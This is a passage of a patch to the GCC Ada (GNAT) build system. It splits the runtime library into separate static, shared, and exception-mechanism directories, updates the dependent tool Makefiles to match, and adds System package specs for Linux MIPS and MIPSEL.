+ $(addprefix $(build_dir),$(GNATRTL_TASKING_OBJS))
+ $(RANLIB_FOR_TARGET) $(libgnarl)
+ $(AR_FOR_TARGET) $(AR_FLAGS) $(libgnala) \
+ $(addprefix $(build_dir),$(GNATRTL_LINEARALGEBRA_OBJS))
+ $(RANLIB_FOR_TARGET) $(libgnala)
ifeq ($(GMEM_LIB),gmemlib)
- $(AR_FOR_TARGET) $(AR_FLAGS) rts/libgmem$(arext) \
- rts/memtrack.o
- $(RANLIB_FOR_TARGET) rts/libgmem$(arext)
+ $(AR_FOR_TARGET) $(AR_FLAGS) $(build_dir)libgmem$(arext) \
+ $(build_dir)memtrack.o
+ $(RANLIB_FOR_TARGET) $(build_dir)libgmem$(arext)
endif
- touch ../stamp-gnatlib
# Warning: this target assumes that LIBRARY_VERSION has been set correctly.
-gnatlib-shared-default: ../stamp-gnatlib1
- $(MAKE) -C rts \
+%/$(libgnat) %/$(libgnat-sjlj): build_dir = $(dir $@)
+%/$(libgnat) %/$(libgnat-sjlj): libgnarl = $(notdir $(subst libgnat,libgnarl,$@))
+%/$(libgnat) %/$(libgnat-sjlj): libgnala = $(notdir $(subst libgnat,libgnala,$@))
+%/$(libgnat) %/$(libgnat-sjlj): %
+ $(MAKE) -C $(build_dir) \
CC="`echo \"$(GCC_FOR_TARGET)\" \
| sed -e 's,^\./xgcc,../../xgcc,' -e 's,-B\./,-B../../,'`" \
INCLUDES="$(INCLUDES_FOR_SUBDIR) -I./../.." \
CFLAGS="$(GNATLIBCFLAGS_FOR_C)" \
srcdir=$(fsrcdir) \
-f ../Makefile $(LIBGNAT_OBJS)
- $(MAKE) -C rts \
+ $(MAKE) -C $(build_dir) \
CC="`echo \"$(GCC_FOR_TARGET)\" \
| sed -e 's,^\./xgcc,../../xgcc,' -e 's,-B\./,-B../../,'`" \
ADA_INCLUDES="" \
@@ -1706,157 +1786,75 @@
srcdir=$(fsrcdir) \
-f ../Makefile \
$(GNATRTL_OBJS)
- $(RM) rts/libgna*$(soext) rts/libgna*$(soext).1
- cd rts; ../../xgcc -B../../ -shared $(GNATLIBCFLAGS) \
+ $(RM) $(build_dir)/libgna*$(soext) $(build_dir)/libgna*$(soext).1
+ cd $(build_dir); ../../xgcc -B../../ -shared $(GNATLIBCFLAGS) \
$(TARGET_LIBGCC2_CFLAGS) \
- -o libgnat$(hyphen)$(LIBRARY_VERSION)$(soext).1 \
+ -o $(notdir $@).1 \
$(GNATRTL_NONTASKING_OBJS) $(LIBGNAT_OBJS) \
g-trasym.o convert_addresses.o \
- $(SO_OPTS)libgnat$(hyphen)$(LIBRARY_VERSION)$(soext).1 \
+ $(SO_OPTS)$(notdir $@).1 \
$(MISCLIB) -lm
- cd rts; ../../xgcc -B../../ -shared $(GNATLIBCFLAGS) \
+ cd $(build_dir); $(LN_S) $(notdir $@).1 $(notdir $@)
+ cd $(build_dir); ../../xgcc -B../../ -shared $(GNATLIBCFLAGS) \
$(TARGET_LIBGCC2_CFLAGS) \
- -o libgnarl$(hyphen)$(LIBRARY_VERSION)$(soext).1 \
+ -o $(libgnarl).1 \
$(GNATRTL_TASKING_OBJS) \
- $(SO_OPTS)libgnarl$(hyphen)$(LIBRARY_VERSION)$(soext).1 \
+ $(SO_OPTS)$(libgnarl).1 \
$(THREADSLIB)
- cd rts; for lib in gnat gnarl; do \
- l=lib$${lib}$(hyphen)$(LIBRARY_VERSION)$(soext); \
- $(LN_S) $$l.1 $$l; \
- done
-# Delete the object files, lest they be linked statically into the tools
-# executables. Only the .ali, .a and .so files must remain.
- rm -f rts/*.o
- $(CHMOD) a-wx rts/*.ali
-
-gnatlib-shared-dual:
- $(MAKE) $(FLAGS_TO_PASS) \
- GNATLIBFLAGS="$(GNATLIBFLAGS)" \
- GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
- THREAD_KIND="$(THREAD_KIND)" \
- gnatlib
- $(RM) rts/*.o rts/*.ali
- $(MAKE) $(FLAGS_TO_PASS) \
- GNATLIBFLAGS="$(GNATLIBFLAGS)" \
- GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
- THREAD_KIND="$(THREAD_KIND)" \
- gnatlib-shared-default
-
-gnatlib-shared-dual-win32:
- $(MAKE) $(FLAGS_TO_PASS) \
- GNATLIBFLAGS="$(GNATLIBFLAGS)" \
- GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
- THREAD_KIND="$(THREAD_KIND)" \
- gnatlib
- $(RM) rts/*.o rts/*.ali
- $(MAKE) $(FLAGS_TO_PASS) \
- GNATLIBFLAGS="$(GNATLIBFLAGS)" \
- GNATLIBCFLAGS="$(GNATLIBCFLAGS) $(TARGET_LIBGCC2_CFLAGS)" \
- THREAD_KIND="$(THREAD_KIND)" \
- gnatlib-shared-win32
-
-# ??? we need to add the option to support auto-import of arrays/records to
-# the GNATLIBFLAGS when this will be supported by GNAT. At this point we will
-# use the gnatlib-shared-dual-win32 target to build the GNAT runtimes on
-# Windows.
-gnatlib-shared-win32:
- $(MAKE) $(FLAGS_TO_PASS) \
- GNATLIBFLAGS="$(GNATLIBFLAGS)" \
- GNATLIBCFLAGS="$(GNATLIBCFLAGS) $(TARGET_LIBGCC2_CFLAGS)" \
- THREAD_KIND="$(THREAD_KIND)" \
- gnatlib
- $(RM) rts/libgna*$(soext)
- cd rts; ../../xgcc -B../../ -shared $(TARGET_LIBGCC2_CFLAGS) \
- -o libgnat$(hyphen)$(LIBRARY_VERSION)$(soext) \
- $(GNATRTL_NONTASKING_OBJS) $(LIBGNAT_OBJS) \
- $(SO_OPTS)libgnat$(hyphen)$(LIBRARY_VERSION)$(soext) $(MISCLIB)
- cd rts; ../../xgcc -B../../ -shared $(TARGET_LIBGCC2_CFLAGS) \
- -o libgnarl$(hyphen)$(LIBRARY_VERSION)$(soext) \
- $(GNATRTL_TASKING_OBJS) \
- $(SO_OPTS)libgnarl$(hyphen)$(LIBRARY_VERSION)$(soext) \
- $(THREADSLIB) -Wl,libgnat$(hyphen)$(LIBRARY_VERSION)$(soext)
-
-gnatlib-shared-darwin:
- $(MAKE) $(FLAGS_TO_PASS) \
- GNATLIBFLAGS="$(GNATLIBFLAGS)" \
- GNATLIBCFLAGS="$(GNATLIBCFLAGS) $(TARGET_LIBGCC2_CFLAGS) \
- -fno-common" \
- THREAD_KIND="$(THREAD_KIND)" \
- gnatlib
- $(RM) rts/libgnat$(soext) rts/libgnarl$(soext)
- cd rts; ../../xgcc -B../../ -dynamiclib $(TARGET_LIBGCC2_CFLAGS) \
- -o libgnat$(hyphen)$(LIBRARY_VERSION)$(soext) \
- $(GNATRTL_NONTASKING_OBJS) $(LIBGNAT_OBJS) \
- $(SO_OPTS) \
- $(MISCLIB) -lm
- cd rts; ../../xgcc -B../../ -dynamiclib $(TARGET_LIBGCC2_CFLAGS) \
- -o libgnarl$(hyphen)$(LIBRARY_VERSION)$(soext) \
- $(GNATRTL_TASKING_OBJS) \
- $(SO_OPTS) \
- $(THREADSLIB) -Wl,libgnat$(hyphen)$(LIBRARY_VERSION)$(soext)
- cd rts; $(LN_S) libgnat$(hyphen)$(LIBRARY_VERSION)$(soext) \
- libgnat$(soext)
- cd rts; $(LN_S) libgnarl$(hyphen)$(LIBRARY_VERSION)$(soext) \
- libgnarl$(soext)
-
-gnatlib-shared-vms:
- $(MAKE) $(FLAGS_TO_PASS) \
- GNATLIBFLAGS="$(GNATLIBFLAGS)" \
- GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
- THREAD_KIND="$(THREAD_KIND)" \
- gnatlib
- $(RM) rts/libgna*$(soext)
- cd rts && echo "case_sensitive=yes" > SYMVEC_$$$$.opt && \
- objdump --syms $(LIBGNAT_OBJS) $(GNATRTL_NONTASKING_OBJS) | \
- $(SHLIB_SYMVEC) >> SYMVEC_$$$$.opt && \
- echo "case_sensitive=NO" >> SYMVEC_$$$$.opt && \
- ../../xgcc -g -B../../ -shared -shared-libgcc \
- -o libgnat$(hyphen)$(LIBRARY_VERSION)$(soext) libgnat.a \
- sys\$$library:trace.exe \
- --for-linker=/noinform \
- --for-linker=SYMVEC_$$$$.opt \
- --for-linker=gsmatch=equal,$(GSMATCH_VERSION)
- cd rts && echo "case_sensitive=yes" > SYMVEC_$$$$.opt && \
- objdump --syms $(GNATRTL_TASKING_OBJS) | \
- $(SHLIB_SYMVEC) >> SYMVEC_$$$$.opt && \
- echo "case_sensitive=NO" >> SYMVEC_$$$$.opt && \
- ../../xgcc -g -B../../ -shared -shared-libgcc \
- -o libgnarl$(hyphen)$(LIBRARY_VERSION)$(soext) \
- libgnarl.a libgnat$(hyphen)$(LIBRARY_VERSION)$(soext) \
- sys\$$library:trace.exe \
- --for-linker=/noinform \
- --for-linker=SYMVEC_$$$$.opt \
- --for-linker=gsmatch=equal,$(GSMATCH_VERSION)
+ cd $(build_dir); $(LN_S) $(libgnarl).1 $(libgnarl)
+# TODO: enable building the shared libgnala
+ifeq (libgnala-shared-enabled,yes)
+ cd $(build_dir); ../../xgcc -B../../ -shared $(GNATLIBCFLAGS) \
+ $(TARGET_LIBGCC2_CFLAGS) \
+ -o $(libgnala).1 \
+ $(GNATRTL_LINEARALGEBRA_OBJS) \
+ $(SO_OPTS)$(libgnala).1
+ cd $(build_dir); $(LN_S) $(libgnala).1 $(libgnala)
+endif
-gnatlib-shared:
+gnatlib-shared-dual: gnatlib-static-zcx gnatlib-static-sjlj gnatlib-shared-zcx
+
+gnatlib-shared-zcx: rts = $(subst gnatlib,rts,$@)
+gnatlib-shared-zcx: gnatlib-sources-zcx/a-except.ads
+ if [ ! -d $(rts) ] ; then \
+ cp -a gnatlib-sources-zcx $(rts); \
+ $(MV) $(rts)/s.ads $(rts)/system.ads; \
+ fi
$(MAKE) $(FLAGS_TO_PASS) \
+ EH_MECHANISM="-gcc" \
GNATLIBFLAGS="$(GNATLIBFLAGS)" \
GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
THREAD_KIND="$(THREAD_KIND)" \
TARGET_LIBGCC2_CFLAGS="$(TARGET_LIBGCC2_CFLAGS)" \
- $(GNATLIB_SHARED)
+ $(rts)/$(libgnat)
-gnatlib-sjlj:
- $(MAKE) $(FLAGS_TO_PASS) EH_MECHANISM="" ../stamp-gnatlib1
- sed -e 's/ZCX_By_Default.*/ZCX_By_Default : constant Boolean := False;/' rts/system.ads > rts/s.ads
- $(MV) rts/s.ads rts/system.ads
+gnatlib-static-sjlj: rts = $(subst gnatlib,rts,$@)
+gnatlib-static-sjlj: gnatlib-sources-sjlj/a-except.ads
+ if [ ! -d $(rts) ] ; then \
+ cp -a gnatlib-sources-sjlj $(rts); \
+ $(MV) $(rts)/s.ads $(rts)/system.ads; \
+ fi
$(MAKE) $(FLAGS_TO_PASS) \
EH_MECHANISM="" \
GNATLIBFLAGS="$(GNATLIBFLAGS)" \
GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
THREAD_KIND="$(THREAD_KIND)" \
- TARGET_LIBGCC2_CFLAGS="$(TARGET_LIBGCC2_CFLAGS)" gnatlib
+ TARGET_LIBGCC2_CFLAGS="$(TARGET_LIBGCC2_CFLAGS)" \
+ $(rts)/libgnat$(arext)
-gnatlib-zcx:
- $(MAKE) $(FLAGS_TO_PASS) EH_MECHANISM="-gcc" ../stamp-gnatlib1
- sed -e 's/ZCX_By_Default.*/ZCX_By_Default : constant Boolean := True;/' rts/system.ads > rts/s.ads
- $(MV) rts/s.ads rts/system.ads
+gnatlib-static-zcx: rts = $(subst gnatlib,rts,$@)
+gnatlib-static-zcx: gnatlib-sources-zcx/a-except.ads
+ if [ ! -d $(rts) ] ; then \
+ cp -a gnatlib-sources-zcx $(rts); \
+ $(MV) $(rts)/s.ads $(rts)/system.ads; \
+ fi
$(MAKE) $(FLAGS_TO_PASS) \
EH_MECHANISM="-gcc" \
GNATLIBFLAGS="$(GNATLIBFLAGS)" \
GNATLIBCFLAGS="$(GNATLIBCFLAGS)" \
THREAD_KIND="$(THREAD_KIND)" \
- TARGET_LIBGCC2_CFLAGS="$(TARGET_LIBGCC2_CFLAGS)" gnatlib
+ TARGET_LIBGCC2_CFLAGS="$(TARGET_LIBGCC2_CFLAGS)" \
+ $(rts)/libgnat$(arext)
# .s files for cross-building
gnat-cross: force
@@ -1864,6 +1862,10 @@
ADA_INCLUDE_DIR = $(libsubdir)/adainclude
ADA_RTL_OBJ_DIR = $(libsubdir)/adalib
+ADA_NATIVE_INCLUDE_DIR = $(libsubdir)/rts-native/adainclude
+ADA_NATIVE_RTL_OBJ_DIR = $(libsubdir)/rts-native/adalib
+ADA_SJLJ_INCLUDE_DIR = $(libsubdir)/rts-sjlj/adainclude
+ADA_SJLJ_RTL_OBJ_DIR = $(libsubdir)/rts-sjlj/adalib
# force no sibling call optimization on s-traceb.o so the number of stack
# frames to be skipped when computing a call chain is not modified by
Index: src/gnattools/Makefile.in
===================================================================
--- src.orig/gnattools/Makefile.in
+++ src/gnattools/Makefile.in
@@ -34,12 +34,13 @@
LN_S=@LN_S@
target_noncanonical=@target_noncanonical@
+RTS=../gcc/ada/rts-shared-zcx
CFLAGS=-O2 -Wall
ADA_CFLAGS=-O2 -gnatn
-ADA_INCLUDES=-nostdinc -I- -I. -I../gcc/ada/rts -I../libgnatvsn -I../libgnatprj
+ADA_INCLUDES=-nostdinc -I- -I. -I$(RTS) -I../libgnatvsn -I../libgnatprj
LIB_VERSION=$(strip $(shell grep ' Library_Version :' \
../libgnatvsn/gnatvsn.ads | sed -e 's/.*"\(.*\)".*/\1/'))
-ADA_LIBS := -L../gcc/ada/rts -lgnat-$(LIB_VERSION)
+ADA_LIBS := -L$(RTS) -lgnat-$(LIB_VERSION)
ADA_LIBS += -L../libgnatvsn -lgnatvsn
ADA_LIBS += -L../libgnatprj -lgnatprj
@@ -109,6 +110,7 @@
.PHONY: gnattools gnattools-native gnattools-cross regnattools
gnattools: @default_gnattools_target@
+ (cd $(RTS); if [ -d obj ]; then mv obj/* .; rmdir obj; fi)
BODIES := $(foreach f,$(OBJECTS),$(wildcard $(patsubst %.o,@srcdir@/../gcc/ada/%.adb,$(f))))
SPECS := $(foreach f,$(OBJECTS),$(wildcard $(patsubst %.o,@srcdir@/../gcc/ada/%.ads,$(f))))
@@ -119,9 +121,12 @@
for file in $(BODIES) $(SPECS); do \
$(LN_S) -f $$file .; \
done
+# Move the RTS object files away lest they be linked statically into the
+# tools. Only the .ali, .a and .so files must remain.
+ (cd $(RTS); mkdir obj; mv *.o obj; chmod a-wx *.ali)
touch $@
-gnattools-native: ../gcc/ada/rts/libgnat-$(LIB_VERSION).so
+gnattools-native: $(RTS)/libgnat-$(LIB_VERSION).so
gnattools-native: ../libgnatvsn/libgnatvsn.so
gnattools-native: stamp-gnattools-sources
gnattools-native: $(TOOLS) gnatbl
@@ -137,7 +142,7 @@
$(GCC) -o $@ $^ \
../libgnatprj/libgnatprj.a \
../libgnatvsn/libgnatvsn.a \
- ../gcc/ada/rts/libgnat.a \
+ ../gcc/ada/rts-static-zcx/libgnat.a \
../libiberty/libiberty.a
gnatlink: $(GNATLINK_OBJS) b_gnatl.o
@@ -155,7 +160,7 @@
$(GCC) -o $@ $(ADA_CFLAGS) $^ \
../libgnatprj/libgnatprj.a \
../libgnatvsn/libgnatvsn.a \
- ../gcc/ada/rts/libgnat.a \
+ ../gcc/ada/rts-static-zcx/libgnat.a \
../libiberty/libiberty.a
gnatmake: $(GNATMAKE_OBJS) b_gnatm.o
Index: src/libgnatprj/Makefile.in
===================================================================
--- src.orig/libgnatprj/Makefile.in
+++ src/libgnatprj/Makefile.in
@@ -25,7 +25,8 @@
@srcdir@/../gcc/ada/gnatvsn.ads | \
sed -e 's/.*"\(.*\)".*/\1/'))
GCC:=../gcc/xgcc -B../gcc/
-LIBGNAT_JUST_BUILT := -nostdinc -I../gcc/ada/rts
+RTS:=../gcc/ada/rts-shared-zcx
+LIBGNAT_JUST_BUILT := -nostdinc -I$(RTS)
LIBGNATVSN := -I../libgnatvsn
CFLAGS := -g -O2
ADAFLAGS := -g -O2 -gnatn
@@ -65,7 +66,7 @@
libgnatprj.so.$(LIB_VERSION): $(addprefix obj-shared/,$(OBJECTS))
: # Make libgnatprj.so
$(GCC) -o $@ -shared -fPIC -Wl,--soname,$@ $^ \
- -L../gcc/ada/rts -lgnat-$(LIB_VERSION) \
+ -L$(RTS) -lgnat-$(LIB_VERSION) \
-L../libgnatvsn -lgnatvsn
$(LN_S) -f libgnatprj.so.$(LIB_VERSION) libgnatprj.so
chmod a=r obj-shared/*.ali
Index: src/libgnatvsn/Makefile.in
===================================================================
--- src.orig/libgnatvsn/Makefile.in
+++ src/libgnatvsn/Makefile.in
@@ -25,7 +25,8 @@
@srcdir@/../gcc/ada/gnatvsn.ads | \
sed -e 's/.*"\(.*\)".*/\1/'))
GCC:=../gcc/xgcc -B../gcc/
-LIBGNAT_JUST_BUILT := -nostdinc -I../gcc/ada/rts
+RTS:=../gcc/ada/rts-shared-zcx
+LIBGNAT_JUST_BUILT := -nostdinc -I$(RTS)
CFLAGS := -g -O2 -gnatn
BASEVER := $(shell cat @srcdir@/../gcc/BASE-VER)
DEVPHASE := $(shell cat @srcdir@/../gcc/DEV-PHASE)
@@ -64,7 +65,7 @@
libgnatvsn.so.$(LIB_VERSION): $(addprefix obj-shared/,$(OBJECTS))
: # Make libgnatvsn.so
$(GCC) -o $@ -shared -fPIC -Wl,--soname,$@ $^ \
- -L../gcc/ada/rts -lgnat-$(LIB_VERSION)
+ -L$(RTS) -lgnat-$(LIB_VERSION)
ln -s libgnatvsn.so.$(LIB_VERSION) libgnatvsn.so
chmod a=r obj-shared/*.ali
# Make the .ali files, but not the .o files, visible to the gnat tools.
Index: src/gcc/ada/Make-lang.in
===================================================================
--- src.orig/gcc/ada/Make-lang.in
+++ src/gcc/ada/Make-lang.in
@@ -62,7 +62,8 @@
"ADA_FOR_TARGET=$(ADA_FOR_TARGET)" \
"INSTALL=$(INSTALL)" \
"INSTALL_DATA=$(INSTALL_DATA)" \
- "INSTALL_PROGRAM=$(INSTALL_PROGRAM)"
+ "INSTALL_PROGRAM=$(INSTALL_PROGRAM)" \
+ "GCC_FOR_TARGET=$(GCC_FOR_TARGET)"
# Say how to compile Ada programs.
.SUFFIXES: .ada .adb .ads
Index: src/gcc/ada/system-linux-mips.ads
===================================================================
--- /dev/null
+++ src/gcc/ada/system-linux-mips.ads
@@ -0,0 +1,154 @@
+------------------------------------------------------------------------------
+-- --
+-- GNAT RUN-TIME COMPONENTS --
+-- --
+-- S Y S T E M --
+-- --
+-- S p e c --
+-- (GNU-Linux/MIPS Version) --
+-- --
+-- Copyright (C) 1992-2005, Free Software Foundation, Inc. --
+-- --
+-- This specification is derived from the Ada Reference Manual for use with --
+-- GNAT. The copyright notice above, and the license provisions that follow --
+-- apply solely to the contents of the part following the private keyword. --
+-- --
+-- GNAT is free software; you can redistribute it and/or modify it under --
+-- terms of the GNU General Public License as published by the Free Soft- --
+-- ware Foundation; either version 2, or (at your option) any later ver- --
+-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
+-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
+-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
+-- for more details. You should have received a copy of the GNU General --
+-- Public License distributed with GNAT; see file COPYING. If not, write --
+-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
+-- Boston, MA 02110-1301, USA. --
+-- --
+-- As a special exception, if other files instantiate generics from this --
+-- unit, or you link this unit with other files to produce an executable, --
+-- this unit does not by itself cause the resulting executable to be --
+-- covered by the GNU General Public License. This exception does not --
+-- however invalidate any other reasons why the executable file might be --
+-- covered by the GNU Public License. --
+-- --
+-- GNAT was originally developed by the GNAT team at New York University. --
+-- Extensive contributions were provided by Ada Core Technologies Inc. --
+-- --
+------------------------------------------------------------------------------
+
+package System is
+ pragma Pure;
+ -- Note that we take advantage of the implementation permission to make
+ -- this unit Pure instead of Preelaborable; see RM 13.7.1(15). In Ada
+ -- 2005, this is Pure in any case (AI-362).
+
+ type Name is (SYSTEM_NAME_GNAT);
+ System_Name : constant Name := SYSTEM_NAME_GNAT;
+
+ -- System-Dependent Named Numbers
+
+ Min_Int : constant := Long_Long_Integer'First;
+ Max_Int : constant := Long_Long_Integer'Last;
+
+ Max_Binary_Modulus : constant := 2 ** Long_Long_Integer'Size;
+ Max_Nonbinary_Modulus : constant := Integer'Last;
+
+ Max_Base_Digits : constant := Long_Long_Float'Digits;
+ Max_Digits : constant := Long_Long_Float'Digits;
+
+ Max_Mantissa : constant := 63;
+ Fine_Delta : constant := 2.0 ** (-Max_Mantissa);
+
+ Tick : constant := 0.000_001;
+
+ -- Storage-related Declarations
+
+ type Address is private;
+ Null_Address : constant Address;
+
+ Storage_Unit : constant := 8;
+ Word_Size : constant := 32;
+ Memory_Size : constant := 2 ** 32;
+
+ -- Address comparison
+
+ function "<" (Left, Right : Address) return Boolean;
+ function "<=" (Left, Right : Address) return Boolean;
+ function ">" (Left, Right : Address) return Boolean;
+ function ">=" (Left, Right : Address) return Boolean;
+ function "=" (Left, Right : Address) return Boolean;
+
+ pragma Import (Intrinsic, "<");
+ pragma Import (Intrinsic, "<=");
+ pragma Import (Intrinsic, ">");
+ pragma Import (Intrinsic, ">=");
+ pragma Import (Intrinsic, "=");
+
+ -- Other System-Dependent Declarations
+
+ type Bit_Order is (High_Order_First, Low_Order_First);
+ Default_Bit_Order : constant Bit_Order := High_Order_First;
+ pragma Warnings (Off, Default_Bit_Order); -- kill constant condition warning
+
+ -- Priority-related Declarations (RM D.1)
+
+ Max_Priority : constant Positive := 30;
+ Max_Interrupt_Priority : constant Positive := 31;
+
+ subtype Any_Priority is Integer range 0 .. 31;
+ subtype Priority is Any_Priority range 0 .. 30;
+ subtype Interrupt_Priority is Any_Priority range 31 .. 31;
+
+ Default_Priority : constant Priority := 15;
+
+private
+
+ type Address is mod Memory_Size;
+ Null_Address : constant Address := 0;
+
+ --------------------------------------
+ -- System Implementation Parameters --
+ --------------------------------------
+
+ -- These parameters provide information about the target that is used
+ -- by the compiler. They are in the private part of System, where they
+ -- can be accessed using the special circuitry in the Targparm unit
+ -- whose source should be consulted for more detailed descriptions
+ -- of the individual switch values.
+
+ AAMP : constant Boolean := False;
+ Backend_Divide_Checks : constant Boolean := False;
+ Backend_Overflow_Checks : constant Boolean := False;
+ Command_Line_Args : constant Boolean := True;
+ Compiler_System_Version : constant Boolean := False;
+ Configurable_Run_Time : constant Boolean := False;
+ Denorm : constant Boolean := True;
+ Duration_32_Bits : constant Boolean := False;
+ Exit_Status_Supported : constant Boolean := True;
+ Fractional_Fixed_Ops : constant Boolean := False;
+ Frontend_Layout : constant Boolean := False;
+ Functions_Return_By_DSP : constant Boolean := False;
+ Machine_Overflows : constant Boolean := False;
+ Machine_Rounds : constant Boolean := True;
+ OpenVMS : constant Boolean := False;
+ Preallocated_Stacks : constant Boolean := False;
+ Signed_Zeros : constant Boolean := True;
+ Stack_Check_Default : constant Boolean := False;
+ Stack_Check_Probes : constant Boolean := False;
+ Support_64_Bit_Divides : constant Boolean := True;
+ Support_Aggregates : constant Boolean := True;
+ Support_Composite_Assign : constant Boolean := True;
+ Support_Composite_Compare : constant Boolean := True;
+ Support_Long_Shifts : constant Boolean := True;
+ Suppress_Standard_Library : constant Boolean := False;
+ Use_Ada_Main_Program_Name : constant Boolean := False;
+ ZCX_By_Default : constant Boolean := True;
+ GCC_ZCX_Support : constant Boolean := True;
+ Front_End_ZCX_Support : constant Boolean := False;
+
+ -- Obsolete entries, to be removed eventually (bootstrap issues!)
+
+ High_Integrity_Mode : constant Boolean := False;
+ Long_Shifts_Inlined : constant Boolean := True;
+
+end System;
Index: src/gcc/ada/system-linux-mipsel.ads
===================================================================
--- /dev/null
+++ src/gcc/ada/system-linux-mipsel.ads
@@ -0,0 +1,154 @@
+------------------------------------------------------------------------------
+-- --
+-- GNAT RUN-TIME COMPONENTS --
+-- --
+-- S Y S T E M --
+-- --
+-- S p e c --
+-- (GNU-Linux/MIPSEL Version) --
+-- --
+-- Copyright (C) 1992-2005, Free Software Foundation, Inc. --
+-- --
+-- This specification is derived from the Ada Reference Manual for use with --
+-- GNAT. The copyright notice above, and the license provisions that follow --
+-- apply solely to the contents of the part following the private keyword. --
+-- --
+-- GNAT is free software; you can redistribute it and/or modify it under --
+-- terms of the GNU General Public License as published by the Free Soft- --
+-- ware Foundation; either version 2, or (at your option) any later ver- --
+-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
+-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
+-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
+-- for more details. You should have received a copy of the GNU General --
+-- Public License distributed with GNAT; see file COPYING. If not, write --
+-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
+-- Boston, MA 02110-1301, USA. --
+-- --
+-- As a special exception, if other files instantiate generics from this --
+-- unit, or you link this unit with other files to produce an executable, --
+-- this unit does not by itself cause the resulting executable to be --
+-- covered by the GNU General Public License. This exception does not --
+-- however invalidate any other reasons why the executable file might be --
+-- covered by the GNU Public License. --
+-- --
+-- GNAT was originally developed by the GNAT team at New York University. --
+-- Extensive contributions were provided by Ada Core Technologies Inc. --
+-- --
+------------------------------------------------------------------------------
+
+package System is
+ pragma Pure;
+ -- Note that we take advantage of the implementation permission to make
+ -- this unit Pure instead of Preelaborable; see RM 13.7.1(15). In Ada
+ -- 2005, this is Pure in any case (AI-362).
+
+ type Name is (SYSTEM_NAME_GNAT);
+ System_Name : constant Name := SYSTEM_NAME_GNAT;
+
+ -- System-Dependent Named Numbers
+
+ Min_Int : constant := Long_Long_Integer'First;
+ Max_Int : constant := Long_Long_Integer'Last;
+
+ Max_Binary_Modulus : constant := 2 ** Long_Long_Integer'Size;
+ Max_Nonbinary_Modulus : constant := Integer'Last;
+
+ Max_Base_Digits : constant := Long_Long_Float'Digits;
+ Max_Digits : constant := Long_Long_Float'Digits;
+
+ Max_Mantissa : constant := 63;
+ Fine_Delta : constant := 2.0 ** (-Max_Mantissa);
+
+ Tick : constant := 0.000_001;
+
+ -- Storage-related Declarations
+
+ type Address is private;
+ Null_Address : constant Address;
+
+ Storage_Unit : constant := 8;
+ Word_Size : constant := 32;
+ Memory_Size : constant := 2 ** 32;
+
+ -- Address comparison
+
+ function "<" (Left, Right : Address) return Boolean;
+ function "<=" (Left, Right : Address) return Boolean;
+ function ">" (Left, Right : Address) return Boolean;
+ function ">=" (Left, Right : Address) return Boolean;
+ function "=" (Left, Right : Address) return Boolean;
+
+ pragma Import (Intrinsic, "<");
+ pragma Import (Intrinsic, "<=");
+ pragma Import (Intrinsic, ">");
+ pragma Import (Intrinsic, ">=");
+ pragma Import (Intrinsic, "=");
+
+ -- Other System-Dependent Declarations
+
+ type Bit_Order is (High_Order_First, Low_Order_First);
+ Default_Bit_Order : constant Bit_Order := Low_Order_First;
+ pragma Warnings (Off, Default_Bit_Order); -- kill constant condition warning
+
+ -- Priority-related Declarations (RM D.1)
+
+ Max_Priority : constant Positive := 30;
+ Max_Interrupt_Priority : constant Positive := 31;
+
+ subtype Any_Priority is Integer range 0 .. 31;
+ subtype Priority is Any_Priority range 0 .. 30;
+ subtype Interrupt_Priority is Any_Priority range 31 .. 31;
+
+ Default_Priority : constant Priority := 15;
+
+private
+
+ type Address is mod Memory_Size;
+ Null_Address : constant Address := 0;
+
+ --------------------------------------
+ -- System Implementation Parameters --
+ --------------------------------------
+
+ -- These parameters provide information about the target that is used
+ -- by the compiler. They are in the private part of System, where they
+ -- can be accessed using the special circuitry in the Targparm unit
+ -- whose source should be consulted for more detailed descriptions
+ -- of the individual switch values.
+
+ AAMP : constant Boolean := False;
+ Backend_Divide_Checks : constant Boolean := False;
+ Backend_Overflow_Checks : constant Boolean := False;
+ Command_Line_Args : constant Boolean := True;
+ Compiler_System_Version : constant Boolean := False;
+ Configurable_Run_Time : constant Boolean := False;
+ Denorm : constant Boolean := True;
+ Duration_32_Bits : constant Boolean := False;
+ Exit_Status_Supported : constant Boolean := True;
+ Fractional_Fixed_Ops : constant Boolean := False;
+ Frontend_Layout : constant Boolean := False;
+ Functions_Return_By_DSP : constant Boolean := False;
+ Machine_Overflows : constant Boolean := False;
+ Machine_Rounds : constant Boolean := True;
+ OpenVMS : constant Boolean := False;
+ Preallocated_Stacks : constant Boolean := False;
+ Signed_Zeros : constant Boolean := True;
+ Stack_Check_Default : constant Boolean := False;
+ Stack_Check_Probes : constant Boolean := False;
+ Support_64_Bit_Divides : constant Boolean := True;
+ Support_Aggregates : constant Boolean := True;
+ Support_Composite_Assign : constant Boolean := True;
+ Support_Composite_Compare : constant Boolean := True;
+ Support_Long_Shifts : constant Boolean := True;
+ Suppress_Standard_Library : constant Boolean := False;
+ Use_Ada_Main_Program_Name : constant Boolean := False;
+ ZCX_By_Default : constant Boolean := True;
+ GCC_ZCX_Support : constant Boolean := True;
+ Front_End_ZCX_Support : constant Boolean := False;
+
+ -- Obsolete entries, to be removed eventually (bootstrap issues!)
+
+ High_Integrity_Mode : constant Boolean := False;
+ Long_Shifts_Inlined : constant Boolean := True;
+
+end System;
Index: src/gcc/ada/g-soccon-linux-mips.ads
===================================================================
--- /dev/null
+++ src/gcc/ada/g-soccon-linux-mips.ads
@@ -0,0 +1,184 @@
+------------------------------------------------------------------------------
+-- --
+-- GNAT COMPILER COMPONENTS --
+-- --
+-- G N A T . S O C K E T S . C O N S T A N T S --
+-- --
+-- S p e c --
+-- --
+-- Copyright (C) 2000-2005, Free Software Foundation, Inc. --
+-- --
+-- GNAT is free software; you can redistribute it and/or modify it under --
+-- terms of the GNU General Public License as published by the Free Soft- --
